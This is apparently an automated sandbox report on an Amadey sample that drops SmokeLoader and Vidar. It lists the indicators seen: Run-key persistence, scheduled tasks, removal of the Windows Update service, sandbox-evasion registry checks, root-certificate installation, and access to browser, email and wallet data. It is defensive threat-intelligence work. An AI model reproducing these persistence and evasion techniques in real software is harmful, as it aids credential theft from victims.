amadey | 466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 4608 created 692	4608	XandETC.exe	55
PID 4608 created 692	4608	XandETC.exe	55
PID 4608 created 692	4608	XandETC.exe	55
PID 4608 created 692	4608	XandETC.exe	55

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Blocklisted process makes network request 1 IoCs

flow	pid	Process
153	4676	rundll32.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 11 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	F20E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	E6ED.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	38132433851500793409.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	E0A2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	oneetx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	F20E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	E6ED.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	A121.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	4020.exe

Executes dropped EXE 39 IoCs

pid	Process
3596	CD96.exe
4104	E0A2.exe
4168	E4AA.exe
4244	E6ED.exe
3316	E807.exe
560	E921.exe
5032	oldplayer.exe
4488	ss31.exe
216	ED68.exe
4608	XandETC.exe
4992	EF2E.exe
1604	E6ED.exe
1620	oneetx.exe
4868	F20E.exe
2400	F4FD.exe
1924	F20E.exe
1332	F20E.exe
3180	E6ED.exe
3448	4020.exe
1084	43DA.exe
1992	oldplayer.exe
1076	E6ED.exe
1800	F20E.exe
1792	50CC.exe
3288	build2.exe
2124	Process not Found
2076	build2.exe
1544	build3.exe
3692	build3.exe
3584	build2.exe
3424	build2.exe
4392	84DD.exe
2228	9103.exe
3824	A121.bat.exe
4644	86209927866869218501.exe
2312	updater.exe
3304	38132433851500793409.exe
2044	EAFC.exe
2292	svcservice.exe

Loads dropped DLL 4 IoCs

pid	Process
1792	50CC.exe
1792	50CC.exe
3584	build2.exe
3584	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3916	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002306e-686.dat	upx

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\telemetry = "C:\\Users\\Admin\\AppData\\Roaming\\telemetry\\svcservice.exe"	38132433851500793409.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\1b0715a8-99f8-4a96-800d-47fdd8f0c3e4\\E6ED.exe\" --AutoStart"	E6ED.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
73	api.2ip.ua
34	api.2ip.ua
35	api.2ip.ua
44	api.2ip.ua
66	api.2ip.ua

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 4244 set thread context of 1604	4244	E6ED.exe	96
PID 4868 set thread context of 1924	4868	F20E.exe	106
PID 3180 set thread context of 1076	3180	E6ED.exe	119
PID 1332 set thread context of 1800	1332	F20E.exe	118
PID 3288 set thread context of 3584	3288	build2.exe	128
PID 2076 set thread context of 3424	2076	build2.exe	129
PID 4392 set thread context of 4676	4392	84DD.exe	142

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2352	sc.exe
4332	sc.exe
2312	sc.exe
1668	sc.exe
3948	sc.exe
532	sc.exe
4792	sc.exe
1644	sc.exe
5024	sc.exe
4744	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 13 IoCs

pid	pid_target	Process	procid_target
2672	216	WerFault.exe	90
1684	3316	WerFault.exe	86
4408	560	WerFault.exe	87
696	2400	WerFault.exe	103
3580	3448	WerFault.exe	113
412	4392	WerFault.exe	130
1344	4992	WerFault.exe	93
3920	4392	WerFault.exe	130
4360	4392	WerFault.exe	130
3544	4392	WerFault.exe	130
2584	4392	WerFault.exe	130
3564	1792	WerFault.exe	120
4792	2044	WerFault.exe	200

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CD96.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CD96.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CD96.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E4AA.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E4AA.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E4AA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	43DA.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	43DA.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	43DA.exe

Checks processor information in registry 2 TTPs 53 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	84DD.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	84DD.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	50CC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	84DD.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	50CC.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	84DD.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	84DD.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	84DD.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	84DD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3428	schtasks.exe
3308	schtasks.exe
1932	schtasks.exe
4948	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
2240	timeout.exe
3504	timeout.exe
2268	timeout.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies registry class 19 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\F373B387065A28848AF2F34ACE192BDDC78E9CAC\Blob = 190000000100000010000000147c50fda90d6498a51e241b0e84d362030000000100000014000000f373b387065a28848af2f34ace192bddc78e9cac1d000000010000001000000095b4475fef63caf7452d10faa6f6362b14000000010000001400000052d8883ac89f7866ed89f37b387094c9020236d0530000000100000020000000301e301c06062b811f01110130123010060a2b0601040182373c0101030200c062000000010000002000000055926084ec963a64b96e2abe01ce0ba86a64fbfebcc7aab5afc155b37fd76066090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703080b000000010000003e00000041006300740061006c00690073002000410075007400680065006e007400690063006100740069006f006e00200052006f006f00740020004300410000000f0000000100000020000000927824e958a132afbcadd9e12357a0f9788ab99c5669e1ec3825e1eb5f6f54542000000001000000bf050000308205bb308203a3a0030201020208570a119742c4e3cc300d06092a864886f70d01010b0500306b310b3009060355040613024954310e300c06035504070c054d696c616e31233021060355040a0c1a416374616c697320532e702e412e2f30333335383532303936373127302506035504030c1e416374616c69732041757468656e7469636174696f6e20526f6f74204341301e170d3131303932323131323230325a170d3330303932323131323230325a306b310b3009060355040613024954310e300c06035504070c054d696c616e31233021060355040a0c1a416374616c697320532e702e412e2f30333335383532303936373127302506035504030c1e416374616c69732041757468656e7469636174696f6e20526f6f7420434130820222300d06092a864886f70d01010105000382020f003082020a0282020100a7c6c4a529a42cefe518c5b050a36f513b9f0a5ac9c248380ac21ca0187f91b587b9403fdd1d681f0883d52d1e88a0f88f568f6d9902929016d55f086c89d7e1acbc20c2b1e083518a694d00965a6f2fc0447ea30ee491cd58eedcfbc71e4547dd27b908019fa6211df5412d2f4cfd28ade08aad22b456658e86548f934329de394678a33023bacdf07d1357c05dd2836b484cc4ab9f805a5b3abdc9a7223f8027335b0eb78a0c5d073708cb6cd27a47224435c5cccc2e8edd2aedb77d660d5f615122551be346e3e33dd035629adbaf14c85ba1cc891be13026fca09b1f81a7471f04eba33992069f99d3bfd3ea4f509c19fe96871e3c65f6a31824838610e7543ea83a76244f8121c5e30f02f893944720bbfed40ed368b9ddc47a8482e3535479dddb9cd2f2079b2eb6bc3eed856def2511f2971a4261f74a97e88bb11007fa6581b2a239cff73cff18fbc6f15a8b59e202ac7b92d04e144f5945f60c5e285fb0e83f45cfcfaf9b6ffb84d3775a956fac94849eeebcc04a8f4a93f84421e2314561504e10d8e3357c4c19b4de05bfa3069fc8b5cde41fd717060d7a9574550d681afc101b62649d6de095a0c39407570d14e6bd05fbb89fe6df8be2c6e77e96f653c58034502858f01250711730bae67863bcf4b2ad9b2bb2fee1398c5eba0b2094de7b83b8ffe3568db711e93b8cf2b1c15d9da40b4c2bd9b218f5b59f4b0203010001a3633061301d0603551d0e0416041452d8883ac89f7866ed89f37b387094c9020236d0300f0603551d130101ff040530030101ff301f0603551d2304183016801452d8883ac89f7866ed89f37b387094c9020236d0300e0603551d0f0101ff040403020106300d06092a864886f70d01010b050003820201000b7b7287c060a6494c8858e61d88f7146448a6d8580a0e4f1335df351dd4ed0631c8813e6ad5dd3b1a32ee903d11d22ef48ec3632e2366b067be6fb6c0133960aaa23425937552dea79dad0e878952716a163c191d83f89a2965bef43f9ad9f0f35a872171804dcbe0389b3fbbfae0304dcf86d365101918d19702b12b724268aca0bd4e5ada18bf6b9881d0fd9abe5e1548cd1115b9c0295cb4e888f73e36aeb762fd1e62de7078101c485bdabca438ba67ed553e5e57dfd403404c81a4d24f63a709420914fc00a9c280734f2ec040d9117b48ea7a02c0d3eb2801265874c1c073226d9395fd397dbb2ae3f682e32c975f4e1f9194fafe2ca3d8761ab84db2384f9bfa1d48607926e2f3fda9d09ae8708f497ad6e5bd0a0edb2df38dbfebe3a47dcbc79571e8daa37cc5c2f87492041b86aca4225340b6acfe4c76cffb9432c0359f763f6ee5906ea0a626a2b82cbed12b85fda768c8ba012bb16c741db87395e7eeb7c725f0004c00b27eb60b8b1cf3c0509e25b9e008de3666ff37a5d1bb54642cc927b54b927e65ffd32de1b94ebc7fa44121904177a6391fea9ee39fd0666f05ecaa767ebf6b16a0ebb5c7fc92542f2b11272537784c516ab0f3cc585d14f16a4815ffc207b6b18d0f8e5c5046b33dbf01984fb25954473e347b786d56932e73ea662878cd1d14bfa08f2f2eb82e8ef2148acce9b57cfb6c9d0ca5e196	A121.bat.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\F373B387065A28848AF2F34ACE192BDDC78E9CAC	A121.bat.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\F373B387065A28848AF2F34ACE192BDDC78E9CAC\Blob = 0f0000000100000020000000927824e958a132afbcadd9e12357a0f9788ab99c5669e1ec3825e1eb5f6f54540b000000010000003e00000041006300740061006c00690073002000410075007400680065006e007400690063006100740069006f006e00200052006f006f0074002000430041000000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b0601050507030862000000010000002000000055926084ec963a64b96e2abe01ce0ba86a64fbfebcc7aab5afc155b37fd76066530000000100000020000000301e301c06062b811f01110130123010060a2b0601040182373c0101030200c014000000010000001400000052d8883ac89f7866ed89f37b387094c9020236d01d000000010000001000000095b4475fef63caf7452d10faa6f6362b030000000100000014000000f373b387065a28848af2f34ace192bddc78e9cac2000000001000000bf050000308205bb308203a3a0030201020208570a119742c4e3cc300d06092a864886f70d01010b0500306b310b3009060355040613024954310e300c06035504070c054d696c616e31233021060355040a0c1a416374616c697320532e702e412e2f30333335383532303936373127302506035504030c1e416374616c69732041757468656e7469636174696f6e20526f6f74204341301e170d3131303932323131323230325a170d3330303932323131323230325a306b310b3009060355040613024954310e300c06035504070c054d696c616e31233021060355040a0c1a416374616c697320532e702e412e2f30333335383532303936373127302506035504030c1e416374616c69732041757468656e7469636174696f6e20526f6f7420434130820222300d06092a864886f70d01010105000382020f003082020a0282020100a7c6c4a529a42cefe518c5b050a36f513b9f0a5ac9c248380ac21ca0187f91b587b9403fdd1d681f0883d52d1e88a0f88f568f6d9902929016d55f086c89d7e1acbc20c2b1e083518a694d00965a6f2fc0447ea30ee491cd58eedcfbc71e4547dd27b908019fa6211df5412d2f4cfd28ade08aad22b456658e86548f934329de394678a33023bacdf07d1357c05dd2836b484cc4ab9f805a5b3abdc9a7223f8027335b0eb78a0c5d073708cb6cd27a47224435c5cccc2e8edd2aedb77d660d5f615122551be346e3e33dd035629adbaf14c85ba1cc891be13026fca09b1f81a7471f04eba33992069f99d3bfd3ea4f509c19fe96871e3c65f6a31824838610e7543ea83a76244f8121c5e30f02f893944720bbfed40ed368b9ddc47a8482e3535479dddb9cd2f2079b2eb6bc3eed856def2511f2971a4261f74a97e88bb11007fa6581b2a239cff73cff18fbc6f15a8b59e202ac7b92d04e144f5945f60c5e285fb0e83f45cfcfaf9b6ffb84d3775a956fac94849eeebcc04a8f4a93f84421e2314561504e10d8e3357c4c19b4de05bfa3069fc8b5cde41fd717060d7a9574550d681afc101b62649d6de095a0c39407570d14e6bd05fbb89fe6df8be2c6e77e96f653c58034502858f01250711730bae67863bcf4b2ad9b2bb2fee1398c5eba0b2094de7b83b8ffe3568db711e93b8cf2b1c15d9da40b4c2bd9b218f5b59f4b0203010001a3633061301d0603551d0e0416041452d8883ac89f7866ed89f37b387094c9020236d0300f0603551d130101ff040530030101ff301f0603551d2304183016801452d8883ac89f7866ed89f37b387094c9020236d0300e0603551d0f0101ff040403020106300d06092a864886f70d01010b050003820201000b7b7287c060a6494c8858e61d88f7146448a6d8580a0e4f1335df351dd4ed0631c8813e6ad5dd3b1a32ee903d11d22ef48ec3632e2366b067be6fb6c0133960aaa23425937552dea79dad0e878952716a163c191d83f89a2965bef43f9ad9f0f35a872171804dcbe0389b3fbbfae0304dcf86d365101918d19702b12b724268aca0bd4e5ada18bf6b9881d0fd9abe5e1548cd1115b9c0295cb4e888f73e36aeb762fd1e62de7078101c485bdabca438ba67ed553e5e57dfd403404c81a4d24f63a709420914fc00a9c280734f2ec040d9117b48ea7a02c0d3eb2801265874c1c073226d9395fd397dbb2ae3f682e32c975f4e1f9194fafe2ca3d8761ab84db2384f9bfa1d48607926e2f3fda9d09ae8708f497ad6e5bd0a0edb2df38dbfebe3a47dcbc79571e8daa37cc5c2f87492041b86aca4225340b6acfe4c76cffb9432c0359f763f6ee5906ea0a626a2b82cbed12b85fda768c8ba012bb16c741db87395e7eeb7c725f0004c00b27eb60b8b1cf3c0509e25b9e008de3666ff37a5d1bb54642cc927b54b927e65ffd32de1b94ebc7fa44121904177a6391fea9ee39fd0666f05ecaa767ebf6b16a0ebb5c7fc92542f2b11272537784c516ab0f3cc585d14f16a4815ffc207b6b18d0f